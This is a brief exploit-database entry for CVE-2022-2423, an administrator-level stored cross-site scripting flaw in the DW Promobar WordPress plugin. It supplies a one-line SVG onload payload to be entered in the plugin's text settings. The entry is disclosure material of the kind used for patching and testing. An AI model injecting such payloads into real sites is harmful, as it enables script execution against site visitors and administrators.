Exploit for DW Promobar <= 1.0.4 - Admin+ Stored Cross-Site Scripting CVE-2022-2423

Name: Exploit for DW Promobar <= 1.0.4 - Admin+ Stored Cross-Site Scripting CVE-2022-2423
Rating: 5 (67 reviews)

2022-07-18 | CVSS 0.1

## https://sploitus.com/exploit?id=WPEX-ID:714B4F2B-3F17-4730-8C25-21D8DA4CB8D2
Put the following payload in any of the plugin settings with a text field (such as Start on, Text message etc): "><svg/onload=alert(/XSS/)>